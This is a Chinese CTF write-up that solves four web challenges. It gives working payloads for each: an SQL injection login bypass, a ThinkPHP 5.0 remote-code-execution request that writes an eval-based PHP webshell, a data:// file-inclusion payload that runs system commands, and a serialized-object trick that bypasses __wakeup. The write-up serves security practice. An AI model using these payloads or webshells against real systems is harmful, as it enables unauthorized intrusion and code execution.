inget
打开这一题的场景。
他说要输入id值并且绕过他。这个题目叫做inget,所以猜测是用get方式传参。然后再网址后面加上?id=1,返回没有发生变化。这里说要绕过,所以想到Sql里面的绕过原理。于是构造payload:
http://61.147.171.105:52456/?id=1’ or 1=1 --+
这里用的是or,前后关系中只要一个对的,这个关系式就是真的,所以成功绕过。–+是注释的意思。
成功得到flag。
php_rce
打开页面是这个样子的。很明显用的是thinkphp5.0的框架。根据题目说的php-rce,去浏览器搜索这个版本的thinkphp框架的历史命令执行漏洞。我这里用的是https://www.cnblogs.com/scivous/p/13993562.html里的代码。
http://127.0.0.1/index.php
?s=index/think\app/invokefunction
&function=call_user_func_array
&vars[0]=file_put_contents //使用file_put_contents函数
&vars[1][]=shell.php //webshell文件名
&vars[1][]=<?php @eval($_POST['pass']);?> //写入一句话木马,注意这里需要用POST,而不能用GET
返回30表示后门文件上传成功。然后用蚁剑连接xxxxx/shell.php。
在根目录找到了flag。
Web_php_include
查了一下str.replace (old, new max]) 有三个参数,old是需要替换的值,new是替换后的值,max是最多替换的次数。这里的意思大概就是要用get方式提交一个page参数,但是会过滤掉page的值里面的php://。这里可以借用page这个参数构造一个rce,但是不能用php。我这里使用的是data这个伪协议,于是构造语句:
http://61.147.171.105:57284/?page=data://text/plain,<?=system('ls');
看到有个fl4gisisish3r3.php文件,猜测这就是flag文件,tac这个php文件。
http://61.147.171.105:57284/?page=data://text/plain,<?=system('tac fl4gisisish3r3.php');
出来了。
unserialize3
打开靶场是一段代码。代码的意思大概是有一个xctf的类,会调用wakeup魔术方法,然后会回显bad requests。所以要绕过这个魔术方法。百度得:当成员属性数目大于实际数目时可绕过wakeup方法 (CVE-2016-7124)。
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a=new xctf();
echo serialize($a);
得到的结果是
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
它表示一个名为 xctf 的对象,包含一个属性 flag,其值为 111。要让成员属性数目大于实际数目,把属性数目加1,即把1变成2。
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
就得到了flag。但是后面我去查了(CVE-2016-7124)这个漏洞的影响版本是PHP5 < 5.6.25
&&PHP7 < 7.0.10,但这一题中的php版本是5.6.37。